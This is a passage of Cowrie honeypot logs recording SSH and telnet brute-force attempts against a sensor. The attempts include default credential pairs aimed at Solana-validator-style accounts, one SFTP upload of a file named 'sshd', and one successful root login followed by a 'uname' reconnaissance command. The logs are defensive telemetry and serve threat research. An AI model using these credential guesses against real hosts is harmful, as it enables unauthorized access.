16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:26.422688Z","src_ip":"80.94.92.184","session":"4f4065899bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:27.253370Z","src_ip":"80.94.92.184","session":"4f4065899bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:50:28.703543Z","src_ip":"80.94.92.184","session":"4f4065899bfe","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/586cde86386488dc14f452bfbe437dc272a596bd98a4ec4c664d887813343fb2","shasum":"586cde86386488dc14f452bfbe437dc272a596bd98a4ec4c664d887813343fb2","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/586cde86386488dc14f452bfbe437dc272a596bd98a4ec4c664d887813343fb2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:51:10.541790Z","src_ip":"117.187.120.182","session":"ccb991283450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.3","message":"Connection lost after 301.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:51:10.545478Z","src_ip":"117.187.120.182","session":"ccb991283450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":94.27033805847168,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:51:42.225802Z","src_ip":"49.88.156.34","session":"0d98e2900e3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.124.153.58","src_port":52324,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4e231a93b1f","protocol":"ssh","message":"New connection: 49.124.153.58:52324 (159.203.135.109:22) [session: e4e231a93b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:01.149112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.4","message":"Remote SSH version: SSH-2.0-OpenSSH_7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:01.671861Z","src_ip":"49.124.153.58","session":"e4e231a93b1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"acaa53e0a7d7ac7d1255103f37901306","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,ext-info-c;des,3des,blowfish,none,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,arcfour128,arcfour256,aes128-cbc,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-512,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-ripemd160-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","ext-info-c"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss","ssh-dss-cert-v01@openssh.com"],"encCS":["des","3des","blowfish","none","3des-cbc","blowfish-cbc","cast128-cbc","arcfour","arcfour128","arcfour256","aes128-cbc","aes192-cbc","aes256-cbc","rijndael-cbc@lysator.liu.se","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-512","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-ripemd160-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: acaa53e0a7d7ac7d1255103f37901306","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:01.676128Z","src_ip":"49.124.153.58","session":"e4e231a93b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1q2w3e","message":"login attempt [test/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:03.332561Z","src_ip":"49.124.153.58","session":"e4e231a93b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:04.936178Z","src_ip":"49.124.153.58","session":"e4e231a93b1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.224.143.250","src_port":53934,"dst_ip":"159.203.135.109","dst_port":23,"session":"a537fbfb91eb","protocol":"telnet","message":"New connection: 83.224.143.250:53934 (159.203.135.109:23) [session: a537fbfb91eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:08.764290Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":44838,"dst_ip":"159.203.135.109","dst_port":22,"session":"456fdd71da2b","protocol":"ssh","message":"New connection: 92.118.39.92:44838 (159.203.135.109:22) [session: 456fdd71da2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:21.044984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:21.048193Z","src_ip":"92.118.39.92","session":"456fdd71da2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:21.147077Z","src_ip":"92.118.39.92","session":"456fdd71da2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"delegate","message":"login attempt [ubuntu/delegate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:21.551334Z","src_ip":"92.118.39.92","session":"456fdd71da2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.701389074325562,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:22.465528Z","src_ip":"83.224.143.250","session":"a537fbfb91eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:22.655813Z","src_ip":"92.118.39.92","session":"456fdd71da2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52052,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b7964795252","protocol":"ssh","message":"New connection: 195.178.110.218:52052 (159.203.135.109:22) [session: 8b7964795252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:57.826341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:57.831562Z","src_ip":"195.178.110.218","session":"8b7964795252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:57.912040Z","src_ip":"195.178.110.218","session":"8b7964795252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:58.152642Z","src_ip":"195.178.110.218","session":"8b7964795252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:52:59.234659Z","src_ip":"195.178.110.218","session":"8b7964795252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43438,"dst_ip":"10.17.0.5","dst_port":22,"session":"686a2f61bc0a","protocol":"ssh","message":"New connection: 80.94.92.184:43438 (10.17.0.5:22) [session: 686a2f61bc0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:53:45.238621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:53:45.335039Z","src_ip":"80.94.92.184","session":"686a2f61bc0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:53:45.719567Z","src_ip":"80.94.92.184","session":"686a2f61bc0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:53:46.846616Z","src_ip":"80.94.92.184","session":"686a2f61bc0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:53:48.073481Z","src_ip":"80.94.92.184","session":"686a2f61bc0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":60308,"dst_ip":"159.203.135.109","dst_port":22,"session":"793726585981","protocol":"ssh","message":"New connection: 92.118.39.92:60308 (159.203.135.109:22) [session: 793726585981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:29.176655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:29.179893Z","src_ip":"92.118.39.92","session":"793726585981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:29.297988Z","src_ip":"92.118.39.92","session":"793726585981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"validator","message":"login attempt [ubuntu/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:29.601095Z","src_ip":"92.118.39.92","session":"793726585981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:30.701802Z","src_ip":"92.118.39.92","session":"793726585981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":34748,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d33744eaa32","protocol":"ssh","message":"New connection: 162.120.6.20:34748 (10.17.0.5:22) [session: 4d33744eaa32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:41.803713Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:41.873761Z","src_ip":"162.120.6.20","session":"4d33744eaa32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":34758,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c0d18a006e1","protocol":"ssh","message":"New connection: 162.120.6.20:34758 (10.17.0.5:22) [session: 9c0d18a006e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:41.935527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:41.939464Z","src_ip":"162.120.6.20","session":"9c0d18a006e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:42.006662Z","src_ip":"162.120.6.20","session":"9c0d18a006e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P@ssw9rd","message":"login attempt [root/P@ssw9rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:42.208511Z","src_ip":"162.120.6.20","session":"9c0d18a006e1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:42.375574Z","src_ip":"162.120.6.20","session":"9c0d18a006e1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:42.378668Z","src_ip":"162.120.6.20","session":"9c0d18a006e1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:42.448612Z","src_ip":"162.120.6.20","session":"9c0d18a006e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:54:42.453325Z","src_ip":"162.120.6.20","session":"9c0d18a006e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50316,"dst_ip":"159.203.135.109","dst_port":22,"session":"976b9fa6cf89","protocol":"ssh","message":"New connection: 195.178.110.218:50316 (159.203.135.109:22) [session: 976b9fa6cf89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:55:34.290629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:55:34.295401Z","src_ip":"195.178.110.218","session":"976b9fa6cf89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hm